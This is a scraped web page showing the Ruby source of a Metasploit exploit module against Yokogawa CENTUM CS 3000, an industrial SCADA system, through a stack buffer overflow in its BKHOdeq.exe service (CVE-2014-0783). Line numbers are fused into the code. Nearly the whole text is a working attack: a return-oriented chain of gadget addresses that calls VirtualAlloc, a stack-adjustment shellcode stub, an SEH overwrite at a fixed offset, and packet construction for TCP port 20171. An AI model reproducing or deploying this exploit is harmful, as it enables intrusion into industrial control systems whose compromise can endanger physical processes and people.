Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/scada/yokogawa_bkhodeq_bof.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',14'Description' => %q{15This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability16exists in the service BKHOdeq.exe when handling specially crafted packets. This module has17been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows182003 SP2.19},20'Author' =>21[22'juan vazquez',23'Redsadic <julian.vilas[at]gmail.com>'24],25'References' =>26[27[ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],28[ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],29[ 'CVE', '2014-0783']30],31'Payload' =>32{33'Space' => 6000,34'DisableNops' => true,35'BadChars' => ":\r\n"36},37'Platform' => 'win',38'Targets' =>39[40[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',41{42'Ret' => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN43'Offset' => 8660,44'StackPivotAdjustment' => 10845}46]47],48'DefaultOptions' =>49{50'EXITFUNC' => 'thread',51'WfsDelay' => 1052},53'DisclosureDate' => '2014-03-10',54'DefaultTarget' => 0))5556register_options(57[58# Required for EIP offset59Opt::RPORT(20171)60])61end6263def check64# It forces an huge allocation, which should fail,65# and return back an error answer from the server66# while parsing the packet header.67pkt = build_pkt(0xffffffff)68res = send_pkt(pkt)69if valid_response?(res)70return Exploit::CheckCode::Detected71end7273Exploit::CheckCode::Safe74end7576def exploit77my_payload = payload.encoded78rop_chain = create_rop_chain7980data = rand_text(target['StackPivotAdjustment'])81data << rop_chain82data << stack_adjust83data << my_payload84data << rand_text(target['Offset'] - data.length)85data << generate_seh_record(target.ret)8687pkt = build_pkt(data.length, data)8889print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")90connect91sock.put(pkt)92disconnect93end9495def build_pkt(data_length, data = "")96header = rand_text(4) # iMark97header << [data_length].pack("N") # Data length98header << rand_text(4) # NumSet99header << rand_text(2) # req100header << rand_text(2) # Unknown101102pkt = header + data103104pkt105end106107def send_pkt(data)108connect109sock.put(data)110res = sock.get_once111disconnect112113res114end115116def valid_response?(data)117return false unless data118return false unless data.length == 4119return false unless result_code(data) == 0120121true122end123124def result_code(data)125data.unpack("N").first126end127128def stack_adjust129adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb130adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit131adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit132adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset133134adjust135end136137def create_rop_chain138# rop chain generated with mona.py - www.corelan.be139rop_gadgets =140[1410x63b27a60, # RET # padding on XP SP31420x63b27a60, # RET # padding on XP SP31430x63b27a5f, # POP EAX # RETN [libbkhMsg.dll]1440x61e761e0, # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]1450x61e641e4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]1460x00405522, # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]147].flatten.pack("V*")148rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr149rop_gadgets << [1500x61e62aa4, # POP EBP # RETN [LibBKCCommon.dll]1510x61e648c0, # & push esp # ret [LibBKCCommon.dll]1520x66f3243f, # POP EBX # RETN [libBKBEqrp.dll]1530x00000001, # 0x00000001-> ebx1540x61e729dd, # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]1550x00001000, # 0x00001000-> edx1560x63a93f6f, # POP ECX # RETN [libbkhopx.dll]1570x00000040, # 0x00000040-> ecx1580x63ad1f6a, # POP EDI # RETN [libbkhOdeq.dll]1590x63dd3812, # RETN (ROP NOP) [libbkhCsSrch.dll]1600x61e60b4c, # POP EAX # RETN [LibBKCCommon.dll]1610x90909090, # nop1620x63ae5cc3, # PUSHAD # RETN [libbkhOdbh.dll]163].flatten.pack("V*")164165rop_gadgets166end167end168169170